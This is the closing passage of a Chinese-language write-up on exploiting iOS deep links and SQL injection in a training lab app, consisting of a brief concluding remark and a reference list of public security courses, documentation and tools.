只有在识别应用程序使用的 确切表结构 后才成为可能。这种情况 强调了要超越单一攻击向量,全面评估整个系统的重要性,确保对多个层面进行彻底评估。
IX. 参考文献
-
Mobile Hacking Lab,"免费课程 — iOS 应用程序安全",2024 年 11 月。[在线]。可访问:https://www.mobilehackinglab.com/course/free-ios-application-security-course。 -
Mobile Hacking Lab,"移动应用程序安全实验室 Flipcoin" [在线]。可访问:https://www.mobilehackinglab.com/course/lab-flipcoin-wallet。 -
COBALT,"学习 iOS 应用渗透测试和安全第 1 部分",2023 年 6 月 13 日。[在线]。可访问:https://www.cobalt.io/blog/learning-ios-app-pentesting-and-security-part-1。 -
P. Benoit,"iOS 中的 deep linking 和 URL scheme",2022 年 2 月 13 日。[在线]。可访问:https://benoitpasquier.com/deep-linking-url-scheme-ios/。 -
Braze,"Universal links 和 App Links 如何工作",2024 年 10 月 30 日。[在线]。可访问:https://www.braze.com/docs/help/help_articles/email/universal_links/#how-universal-links-and-app-links-work。 -
F. Basel,"掌握 iOS 中的 Deep Linking:释放 URL Schemes 和 Universal Links 的力量",2023 年 7 月 25 日。[在线]。可访问:https://www.codementor.io/@basilfarajcomedy/mastering-deep-linking-in-ios-unleashing-the-power-of-url-schemes-and-universal-links-271lpah1rt。 -
BSTeam,"什么是 deep link?移动应用营销中的类型、示例和用例",2024 年 12 月 9 日。[在线]。可访问:https://simicart.com/blog/mobile-deep-link/。 -
8ksecresearch,"iOS Deep Link 攻击第 1 部分 — 介绍 | 8kSec 博客",2023 年 5 月 17 日。[在线]。可访问:https://8ksec.io/ios-deeplink-attacks-part-1-introduction-8ksec-blogs/。 -
Apple,"canOpenURL(_:)" [在线]。可访问:https://developer.apple.com/documentation/uikit/uiapplication/canopenurl(_:)。 -
Apple,"open(_:options:completionHandler:)" [在线]。可访问:https://developer.apple.com/documentation/uikit/uiapplication/open(_:options:completionhandler:)。 -
PortSwigger,"SQL 注入 UNION 攻击" [在线]。可访问:https://portswigger.net/web-security/sql-injection/union-attacks。 -
https://github.com/NationalSecurityAgency/ghidra/releases -
https://sideloadly.io -
https://codeshare.frida.re/@ivan-sincek/ios-deeplink-fuzzing/ -
https://codeshare.frida.re/@xperylab/ios-sqlite3/ -
https://www.qr-code-generator.com/ -
https://www.sqlite.org/c3ref/prepare.html -
https://sqlitebrowser.org/
原文始发于微信公众号(securitainment):通过 iOS 应用程序中的 Deep Links 利用未经过滤的 URL Handling 和 SQL 注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论